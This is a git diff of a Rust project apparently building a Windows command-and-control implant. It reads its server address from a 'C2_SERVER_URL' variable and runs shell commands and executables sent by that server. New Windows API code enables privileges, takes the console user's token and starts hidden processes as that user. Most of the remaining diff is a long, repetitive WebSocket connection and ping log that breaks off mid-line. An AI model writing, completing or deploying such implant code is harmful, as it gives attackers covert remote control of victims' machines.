diff --git a/Cargo.toml b/Cargo.toml index e1c1ab8..cc88af3 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -14,11 +14,18 @@ windows = { version = "0.57", features = [ # note to future self: DO NOT UPGRADE "Win32_Foundation", "Win32_System_Com", "Win32_System_Com_Marshal", - "Win32_System_Threading" + "Win32_System_Threading", + "Win32_System_Environment", + "Win32_Security", + "Win32_System_RemoteDesktop", + "Win32_UI_Shell", + "Win32_System_Memory", ]} anyhow = "1.0.100" futures-util = "0.3.31" +ntapi = "0.4.1" [build-dependencies] dotenv = "0.15.0" winresource = "0.1" +ntapi = "0.4.1" diff --git a/src/lib.rs b/src/lib.rs index 47f3a30..2b67e76 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -1,16 +1,21 @@ -use futures_util::StreamExt; +use futures_util::{SinkExt, StreamExt}; use futures_util::stream::SplitSink; use serde::{Deserialize, Serialize}; +use tokio_tungstenite::tungstenite::Bytes; use std::sync::Arc; use tokio::{net::TcpStream, sync::Mutex}; use tokio_tungstenite::tungstenite::protocol::Message; use tokio_tungstenite::{MaybeTlsStream, WebSocketStream, connect_async}; -pub const WS_URL: &str = "ws://127.0.0.1:8080"; +use crate::lib::logger::{log, LogLevel}; +use crate::lib::winapi::run_as_user; + +pub const WS_URL: &str = env!("C2_SERVER_URL"); pub const LOG_PATH: &str = "test.txt"; pub mod lib { pub mod logger; + pub mod winapi; } pub type WsTx = Arc>, Message>>>>; @@ -33,9 +38,8 @@ pub struct DnxParams<'a> { #[derive(Deserialize, Serialize)] pub enum Command<'a> { - RunCMD { command: &'a str }, + RunCMD { command: &'a str, args: Vec<&'a str> }, URunCMD { command: &'a str }, - RunExe { path: &'a str, args: &'a str }, URunExe { path: &'a str, args: &'a str }, ClientInfo, Dnx { params: DnxParams<'a> }, @@ -51,8 +55,54 @@ pub async fn reconnect_websocket(ws: WsTx) { *lock = Some(ws_trx); break; } - println!("reconnect slp"); std::thread::sleep(std::time::Duration::from_secs(5)); - println!("reconnect out"); } } + +pub async fn ping_job(ws_tx: WsTx) -> anyhow::Result<()> { + tokio::time::sleep(std::time::Duration::from_secs(10)).await; + let message = Message::Ping(Bytes::from("ping")); + { + let mut unlocked_ws_tx = ws_tx.lock().await; + if let Some(h) = unlocked_ws_tx.as_mut() { + log(LogLevel::Debug, LOG_PATH, "[ws] sending ping".to_string()).await; + h.send(message).await?; + return Ok(()); + } else { + use tokio::io::{Error, ErrorKind}; + return Err(Error::new(ErrorKind::BrokenPipe, "Sender is none").into()) + } + } +} + +pub fn eval_command(text: &str) -> anyhow::Result { + let parsed: Command = serde_json::from_str(text)?; + match parsed { + Command::RunCMD {command, args} => { + let proc = std::process::Command::new(command) + .args(args) + .output()?; + return Ok(String::from_utf8_lossy(&proc.stdout).to_string()); + }, + Command::URunCMD { command } => { + let formatted_param = format!("cmd.exe /k {command}"); + let _result = run_as_user(r"C:\Windows\System32\cmd.exe", &formatted_param)?; + // we temporarily mark these with _ since run_as_user might return later in dev + return Ok(format!("")) + }, + Command::URunExe { path, args } => { + if let Some(executable_name) = path.split(r"\").last() { + let formatted_param = format!("{executable_name} {args}"); + let _result = run_as_user(path, &formatted_param)?; + return Ok(format!("")) + } else { + use tokio::io::{Error, ErrorKind}; + return Err(Error::new(ErrorKind::NotFound, "Invalid path").into()) + } + } + _ => todo!() + } +} + + + diff --git a/src/lib/logger.rs b/src/lib/logger.rs index 5d7cc61..0a4ce94 100644 --- a/src/lib/logger.rs +++ b/src/lib/logger.rs @@ -1,10 +1,6 @@ -use crate::WsTx; -use crate::reconnect_websocket; -use futures_util::SinkExt; use std::fs::OpenOptions; use std::io::Write; use std::time::{SystemTime, UNIX_EPOCH}; -use tokio_tungstenite::tungstenite::protocol::Message; #[derive(PartialEq)] pub enum LogLevel { @@ -51,7 +47,7 @@ pub async fn log(level: LogLevel, path: &str, detail: String) { if let Err(e) = logfile.write(logfile_string.as_bytes()) { eprintln!( - "Got error {:?} while trying to write to logfile.\n Exiting.", + "Got error {:?} while trying to write to logfile.", e ); } diff --git a/src/lib/winapi.rs b/src/lib/winapi.rs new file mode 100644 index 0000000..f299d97 --- /dev/null +++ b/src/lib/winapi.rs @@ -0,0 +1,95 @@ +use windows::core::{PCWSTR, PWSTR}; +use windows::Win32::Foundation::{CloseHandle, HANDLE}; +use windows::Win32::System::RemoteDesktop::{WTSGetActiveConsoleSessionId, WTSQueryUserToken}; +use windows::Win32::System::Threading::{ + CreateProcessAsUserW, CREATE_NO_WINDOW, CREATE_UNICODE_ENVIRONMENT, + PROCESS_INFORMATION, STARTUPINFOW, +}; +use windows::Win32::System::Environment::{CreateEnvironmentBlock, DestroyEnvironmentBlock}; +use ntapi::ntrtl::RtlAdjustPrivilege; + +fn to_wide_vec(s: &str) -> Vec { + s.encode_utf16().collect() +} + +pub fn run_as_user(app: &str, cmd: &str) -> anyhow::Result<()> { + // Create vectors for strings. + // Note: CreateProcessW requires the CommandLine to be a Mutable buffer (PWSTR), + // not a const pointer, as it may modify the string in place. + let app_wide = to_wide_vec(app); + let mut cmd_wide = to_wide_vec(cmd); + let mut desktop_wide = to_wide_vec("winsta0\\default"); + + unsafe { + // 1. Enable SE_INCREASE_QUOTA_PRIVILEGE (ID 5) + let mut useless: u8 = 0; + let status = RtlAdjustPrivilege(5, 1, 0, &mut useless); + if status != 0 { + return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("SE_INCREASE_QUOTA_PRIVILEGE failed: {status}")).into()); + } + + // 2. Enable SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (ID 3) + let mut useless: u8 = 0; + let status = RtlAdjustPrivilege(3, 1, 0, &mut useless); + if status != 0 { + return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("SE_ASSIGNPRIMARYTOKEN_PRIVILEGE failed: {status}")).into()); + } + + // 3. Get Active Console Session ID + // Replaces ntrtl::RtlGetActiveConsoleId with the documented Win32 API + let session_id = WTSGetActiveConsoleSessionId(); + if session_id == 0xFFFFFFFF { + return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("WTSGetActiveConsoleSessionId failed: {status}")).into()); + } + + // 4. Get User Token + let mut user_token = HANDLE::default(); + // Note: WTSQueryUserToken returns BOOL. In windows crate .as_bool() checks it. + if let Err(e) = WTSQueryUserToken(session_id, &mut user_token) { + return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("WTSQueryUserToken failed: {e}")).into()); + } + + // 5. Create Environment Block + // The windows crate defines the first arg as *mut *mut c_void + let mut env_block: *mut std::ffi::c_void = std::ptr::null_mut(); + + if let Err(e) = CreateEnvironmentBlock(&mut env_block, user_token, false) { + let _ = CloseHandle(user_token); + return Err(tokio::io::Error::new(tokio::io::ErrorKind::PermissionDenied, format!("CreateEnvironmentBlock failed: {e}")).into()); + } + + // 6. Setup Startup Info + let mut si: STARTUPINFOW = std::mem::zeroed(); + si.cb = std::mem::size_of::() as u32; + si.lpDesktop = PWSTR(desktop_wide.as_mut_ptr()); + + let mut pi: PROCESS_INFORMATION = std::mem::zeroed(); + + let creation_flags = CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT; + + // 7. Create Process + CreateProcessAsUserW( + user_token, + PCWSTR(app_wide.as_ptr()), // Application Name (Const) + PWSTR(cmd_wide.as_mut_ptr()), // Command Line (Mutable!) + None, // Process Attributes + None, // Thread Attributes + false, // Inherit Handles + creation_flags, // Creation Flags + Some(env_block), // Environment + None, // Current Directory + &si, // Startup Info + &mut pi, // Process Information + )?; + + // Cleanup process handles + let _ = CloseHandle(pi.hProcess); + let _ = CloseHandle(pi.hThread); + + // 8. Cleanup + DestroyEnvironmentBlock(env_block)?; + let _ = CloseHandle(user_token); + + Ok(()) + } +} diff --git a/src/main.rs b/src/main.rs index 73544db..715c715 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,14 +1,11 @@ use futures_util::{SinkExt, stream::StreamExt}; -use skylink::WsTx; +use skylink::{ping_job, reconnect_websocket, WsTx}; use skylink::lib::logger::{LogLevel, log}; use skylink::{LOG_PATH, WS_URL}; use std::sync::Arc; use tokio::sync::Mutex; use tokio_tungstenite::tungstenite::protocol::Message; -// This is the type for the SENDER half of the WebSocket stream. -// It will be the shared state. - // Some parts of this function were generated by an LLM. I'm taking note of this in case a // weird barely detectable bug pops up, as LLMs tend to generate. async fn websocket_handler(ws_tx: WsTx) { @@ -20,23 +17,13 @@ async fn websocket_handler(ws_tx: WsTx) { let ws_stream = match connection_result { Ok((stream, _)) => { - log( - LogLevel::Info, - LOG_PATH, - "[ws] WebSocket connection established.".to_string(), - ) - .await; + log(LogLevel::Info, LOG_PATH, "[ws] WebSocket connection established.".to_string()).await; stream } Err(e) => { - log( - LogLevel::Warning, - LOG_PATH, - format!("[ws] Failed to connect: {:?}. Retrying in 5s....", e) - ) - .await; + log(LogLevel::Warning, LOG_PATH, format!("[ws] Failed to connect: {:?}. Retrying in 5s....", e)).await; tokio::time::sleep(Duration::from_secs(5)).await; - continue; // Go to the next iteration of the loop to retry. + continue; } }; @@ -46,80 +33,63 @@ async fn websocket_handler(ws_tx: WsTx) { let mut unlocked = ws_tx.lock().await; *unlocked = Some(ws_send); } + + let ws_tx_clone = ws_tx.clone(); + tokio::spawn(async move { + loop { + if let Err(_) = ping_job(ws_tx_clone.clone()).await { + reconnect_websocket(ws_tx_clone.clone()).await; + } + } + }); while let Some(msg) = ws_recv.next().await { match msg { - // break is used to trigger reconnect. Ok(Message::Text(text)) => { - log( - LogLevel::Debug, - LOG_PATH, - format!("[ws] Received text: {}", &text) - ) - .await; + log(LogLevel::Debug, LOG_PATH, format!("[ws] received text: {}", &text)).await; } Ok(Message::Close(_)) => { - log( - LogLevel::Warning, - LOG_PATH, - format!("[ws] Received close frame, disconnecting.") - ) - .await; - break; + log(LogLevel::Warning, LOG_PATH, format!("[ws] received close frame, disconnecting.")).await; + break; } Ok(Message::Ping(h)) => { - log( - LogLevel::Debug, - LOG_PATH, - format!("[ws] Received Ping, sending Pong") - ) - .await; + log(LogLevel::Debug, LOG_PATH, format!("[ws] received ping, sending pong")).await; let mut unlocked = ws_tx.lock().await; - dbg!(&ws_tx); - dbg!(&unlocked); + match unlocked.as_mut() { Some(v) => { if let Err(e) = v.send(Message::Pong(h)).await { - log(LogLevel::Error, LOG_PATH, format!("[ws] Failed to send Pong: {e}, reconnecting.")).await; + log(LogLevel::Error, LOG_PATH, format!("[ws] failed to send pong: {e}, reconnecting.")).await; break; } } None => { - log(LogLevel::Error, LOG_PATH, format!("[ws] Failed to respond: no sink, reconnecting.")).await; + log(LogLevel::Error, LOG_PATH, format!("[ws] failed to respond: no sink, reconnecting.")).await; break; } } } Err(e) => { - log( - LogLevel::Error, - LOG_PATH, - format!("[ws] Error receiving message: {:?}.", e), - ) - .await; + log(LogLevel::Error, LOG_PATH, format!("[ws] error receiving message: {:?}.", e)).await; break; } - _ => { /* Ignore other message types */ } - } - { - let mut unlocked_ws_tx = ws_tx.lock().await; - *unlocked_ws_tx = None; + _ => {} } + } - log( - LogLevel::Error, - LOG_PATH, - format!("[ws] Connection lost.") - ) - .await; + { + let mut unlocked_ws_tx = ws_tx.lock().await; + *unlocked_ws_tx = None; + } - // Reconnecting is handled by the loop - // So, we sleep to avoid spamming the server. - std::thread::sleep(std::time::Duration::from_secs(5)); + log(LogLevel::Error, LOG_PATH, format!("[ws] connection lost.")).await; + + tokio::time::sleep(std::time::Duration::from_secs(5)).await; } } + #[tokio::main] async fn main() -> anyhow::Result<()> { let ws_tx: WsTx = Arc::new(Mutex::new(None)); diff --git a/test.txt b/test.txt index 20fde6a..5c7c74a 100644 --- a/test.txt +++ b/test.txt @@ -113,3 +113,450 @@ [ 1763412269 ] [ debug ] [ws] Received Ping, sending Pong [ 1763412269 ] [ ERROR ] [ws] Failed to respond: no sink, reconnecting. [ 1763412269 ] [ ERROR ] [ws] Connection lost. +[ 1763647754 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763647759 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763647764 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763647769 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763647791 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763647796 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763647801 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763647806 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763647811 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763647816 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763647821 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763647826 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763647832 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763647837 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763647871 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763647876 ] [ info ] [ws] WebSocket connection established. +[ 1763647896 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763647916 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763647936 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763647956 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763647976 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763663048 ] [ info ] [ws] WebSocket connection established. +[ 1763663068 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763663379 ] [ info ] [ws] WebSocket connection established. +[ 1763663384 ] [ debug ] [ws] sending ping +[ 1763663399 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763663435 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763663440 ] [ info ] [ws] WebSocket connection established. +[ 1763663445 ] [ debug ] [ws] sending ping +[ 1763663460 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763663461 ] [ ERROR ] [ws] Error receiving message: Protocol(ResetWithoutClosingHandshake). +[ 1763663461 ] [ ERROR ] [ws] Connection lost. +[ 1763663466 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763663471 ] [ info ] [ws] WebSocket connection established. +[ 1763663476 ] [ debug ] [ws] sending ping +[ 1763663478 ] [ ERROR ] [ws] Error receiving message: Protocol(ResetWithoutClosingHandshake). +[ 1763663478 ] [ ERROR ] [ws] Connection lost. +[ 1763663483 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763663488 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763663493 ] [ Warning ] [ws] Failed to connect: Io(Os { code: 111, kind: ConnectionRefused, message: "Connection refused" }). Retrying in 5s.... +[ 1763663968 ] [ info ] [ws] WebSocket connection established. +[ 1763663973 ] [ debug ] [ws] sending ping +[ 1763663988 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664008 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664028 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664048 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664068 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664088 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664108 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664128 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664148 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664168 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664250 ] [ info ] [ws] WebSocket connection established. +[ 1763664255 ] [ debug ] [ws] sending ping +[ 1763664260 ] [ debug ] [ws] sending ping +[ 1763664265 ] [ debug ] [ws] sending ping +[ 1763664270 ] [ debug ] [ws] sending ping +[ 1763664270 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664275 ] [ debug ] [ws] sending ping +[ 1763664280 ] [ debug ] [ws] sending ping +[ 1763664285 ] [ debug ] [ws] sending ping +[ 1763664290 ] [ debug ] [ws] sending ping +[ 1763664290 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664295 ] [ debug ] [ws] sending ping +[ 1763664300 ] [ debug ] [ws] sending ping +[ 1763664305 ] [ debug ] [ws] sending ping +[ 1763664310 ] [ debug ] [ws] sending ping +[ 1763664310 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664315 ] [ debug ] [ws] sending ping +[ 1763664320 ] [ debug ] [ws] sending ping +[ 1763664325 ] [ debug ] [ws] sending ping +[ 1763664330 ] [ debug ] [ws] sending ping +[ 1763664330 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664335 ] [ debug ] [ws] sending ping +[ 1763664340 ] [ debug ] [ws] sending ping +[ 1763664345 ] [ debug ] [ws] sending ping +[ 1763664350 ] [ debug ] [ws] sending ping +[ 1763664350 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664355 ] [ debug ] [ws] sending ping +[ 1763664360 ] [ debug ] [ws] sending ping +[ 1763664365 ] [ debug ] [ws] sending ping +[ 1763664370 ] [ debug ] [ws] sending ping +[ 1763664370 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664375 ] [ debug ] [ws] sending ping +[ 1763664380 ] [ debug ] [ws] sending ping +[ 1763664385 ] [ debug ] [ws] sending ping +[ 1763664390 ] [ debug ] [ws] sending ping +[ 1763664390 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664395 ] [ debug ] [ws] sending ping +[ 1763664400 ] [ debug ] [ws] sending ping +[ 1763664405 ] [ debug ] [ws] sending ping +[ 1763664410 ] [ debug ] [ws] sending ping +[ 1763664410 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664415 ] [ debug ] [ws] sending ping +[ 1763664420 ] [ debug ] [ws] sending ping +[ 1763664425 ] [ debug ] [ws] sending ping +[ 1763664430 ] [ debug ] [ws] sending ping +[ 1763664430 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664435 ] [ debug ] [ws] sending ping +[ 1763664440 ] [ debug ] [ws] sending ping +[ 1763664445 ] [ debug ] [ws] sending ping +[ 1763664450 ] [ debug ] [ws] sending ping +[ 1763664450 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664455 ] [ debug ] [ws] sending ping +[ 1763664460 ] [ debug ] [ws] sending ping +[ 1763664465 ] [ debug ] [ws] sending ping +[ 1763664470 ] [ debug ] [ws] sending ping +[ 1763664470 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664494 ] [ info ] [ws] WebSocket connection established. +[ 1763664504 ] [ debug ] [ws] sending ping +[ 1763664514 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664534 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664554 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664574 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664594 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664614 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664663 ] [ info ] [ws] WebSocket connection established. +[ 1763664673 ] [ debug ] [ws] sending ping +[ 1763664683 ] [ debug ] [ws] sending ping +[ 1763664683 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664693 ] [ debug ] [ws] sending ping +[ 1763664703 ] [ debug ] [ws] sending ping +[ 1763664703 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664713 ] [ debug ] [ws] sending ping +[ 1763664723 ] [ debug ] [ws] sending ping +[ 1763664723 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664733 ] [ debug ] [ws] sending ping +[ 1763664743 ] [ debug ] [ws] sending ping +[ 1763664743 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664753 ] [ debug ] [ws] sending ping +[ 1763664763 ] [ debug ] [ws] sending ping +[ 1763664763 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664773 ] [ debug ] [ws] sending ping +[ 1763664783 ] [ debug ] [ws] sending ping +[ 1763664783 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664793 ] [ debug ] [ws] sending ping +[ 1763664803 ] [ debug ] [ws] sending ping +[ 1763664803 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664813 ] [ debug ] [ws] sending ping +[ 1763664823 ] [ debug ] [ws] sending ping +[ 1763664823 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664833 ] [ debug ] [ws] sending ping +[ 1763664843 ] [ debug ] [ws] sending ping +[ 1763664843 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664853 ] [ debug ] [ws] sending ping +[ 1763664863 ] [ debug ] [ws] sending ping +[ 1763664863 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664873 ] [ debug ] [ws] sending ping +[ 1763664883 ] [ debug ] [ws] sending ping +[ 1763664883 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664893 ] [ debug ] [ws] sending ping +[ 1763664903 ] [ debug ] [ws] sending ping +[ 1763664903 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664913 ] [ debug ] [ws] sending ping +[ 1763664923 ] [ debug ] [ws] sending ping +[ 1763664923 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664933 ] [ debug ] [ws] sending ping +[ 1763664943 ] [ debug ] [ws] sending ping +[ 1763664943 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664953 ] [ debug ] [ws] sending ping +[ 1763664963 ] [ debug ] [ws] sending ping +[ 1763664963 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664973 ] [ debug ] [ws] sending ping +[ 1763664983 ] [ debug ] [ws] sending ping +[ 1763664983 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763664993 ] [ debug ] [ws] sending ping +[ 1763665003 ] [ debug ] [ws] sending ping +[ 1763665003 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665013 ] [ debug ] [ws] sending ping +[ 1763665023 ] [ debug ] [ws] sending ping +[ 1763665023 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665033 ] [ debug ] [ws] sending ping +[ 1763665043 ] [ debug ] [ws] sending ping +[ 1763665043 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665053 ] [ debug ] [ws] sending ping +[ 1763665063 ] [ debug ] [ws] sending ping +[ 1763665063 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665073 ] [ debug ] [ws] sending ping +[ 1763665083 ] [ debug ] [ws] sending ping +[ 1763665083 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665093 ] [ debug ] [ws] sending ping +[ 1763665103 ] [ debug ] [ws] sending ping +[ 1763665103 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665113 ] [ debug ] [ws] sending ping +[ 1763665123 ] [ debug ] [ws] sending ping +[ 1763665123 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665133 ] [ debug ] [ws] sending ping +[ 1763665143 ] [ debug ] [ws] sending ping +[ 1763665143 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665153 ] [ debug ] [ws] sending ping +[ 1763665163 ] [ debug ] [ws] sending ping +[ 1763665163 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665173 ] [ debug ] [ws] sending ping +[ 1763665183 ] [ debug ] [ws] sending ping +[ 1763665183 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665193 ] [ debug ] [ws] sending ping +[ 1763665203 ] [ debug ] [ws] sending ping +[ 1763665203 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665213 ] [ debug ] [ws] sending ping +[ 1763665223 ] [ debug ] [ws] sending ping +[ 1763665223 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665233 ] [ debug ] [ws] sending ping +[ 1763665243 ] [ debug ] [ws] sending ping +[ 1763665243 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665253 ] [ debug ] [ws] sending ping +[ 1763665263 ] [ debug ] [ws] sending ping +[ 1763665263 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665273 ] [ debug ] [ws] sending ping +[ 1763665283 ] [ debug ] [ws] sending ping +[ 1763665283 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665293 ] [ debug ] [ws] sending ping +[ 1763665303 ] [ debug ] [ws] sending ping +[ 1763665303 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665313 ] [ debug ] [ws] sending ping +[ 1763665323 ] [ debug ] [ws] sending ping +[ 1763665323 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665333 ] [ debug ] [ws] sending ping +[ 1763665343 ] [ debug ] [ws] sending ping +[ 1763665343 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665353 ] [ debug ] [ws] sending ping +[ 1763665363 ] [ debug ] [ws] sending ping +[ 1763665363 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665373 ] [ debug ] [ws] sending ping +[ 1763665383 ] [ debug ] [ws] sending ping +[ 1763665383 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665393 ] [ debug ] [ws] sending ping +[ 1763665403 ] [ debug ] [ws] sending ping +[ 1763665403 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665413 ] [ debug ] [ws] sending ping +[ 1763665423 ] [ debug ] [ws] sending ping +[ 1763665423 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665433 ] [ debug ] [ws] sending ping +[ 1763665443 ] [ debug ] [ws] sending ping +[ 1763665443 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665453 ] [ debug ] [ws] sending ping +[ 1763665463 ] [ debug ] [ws] sending ping +[ 1763665463 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665473 ] [ debug ] [ws] sending ping +[ 1763665483 ] [ debug ] [ws] sending ping +[ 1763665483 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665493 ] [ debug ] [ws] sending ping +[ 1763665503 ] [ debug ] [ws] sending ping +[ 1763665503 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665513 ] [ debug ] [ws] sending ping +[ 1763665523 ] [ debug ] [ws] sending ping +[ 1763665523 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665533 ] [ debug ] [ws] sending ping +[ 1763665543 ] [ debug ] [ws] sending ping +[ 1763665543 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665553 ] [ debug ] [ws] sending ping +[ 1763665563 ] [ debug ] [ws] sending ping +[ 1763665563 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665573 ] [ debug ] [ws] sending ping +[ 1763665583 ] [ debug ] [ws] sending ping +[ 1763665584 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665593 ] [ debug ] [ws] sending ping +[ 1763665603 ] [ debug ] [ws] sending ping +[ 1763665604 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665613 ] [ debug ] [ws] sending ping +[ 1763665623 ] [ debug ] [ws] sending ping +[ 1763665624 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665633 ] [ debug ] [ws] sending ping +[ 1763665643 ] [ debug ] [ws] sending ping +[ 1763665644 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665653 ] [ debug ] [ws] sending ping +[ 1763665663 ] [ debug ] [ws] sending ping +[ 1763665664 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665673 ] [ debug ] [ws] sending ping +[ 1763665683 ] [ debug ] [ws] sending ping +[ 1763665684 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665693 ] [ debug ] [ws] sending ping +[ 1763665703 ] [ debug ] [ws] sending ping +[ 1763665704 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665713 ] [ debug ] [ws] sending ping +[ 1763665723 ] [ debug ] [ws] sending ping +[ 1763665724 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665733 ] [ debug ] [ws] sending ping +[ 1763665743 ] [ debug ] [ws] sending ping +[ 1763665744 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665753 ] [ debug ] [ws] sending ping +[ 1763665763 ] [ debug ] [ws] sending ping +[ 1763665764 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665773 ] [ debug ] [ws] sending ping +[ 1763665783 ] [ debug ] [ws] sending ping +[ 1763665784 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665793 ] [ debug ] [ws] sending ping +[ 1763665803 ] [ debug ] [ws] sending ping +[ 1763665804 ] [ debug ] [ws] Received Ping, sending Pong +[ 1763665813 ] [ debug ] [ws] sending ping +[ 1763665823 ] [ debug ] [ws] sending ping +[ 1763665824 ] [ 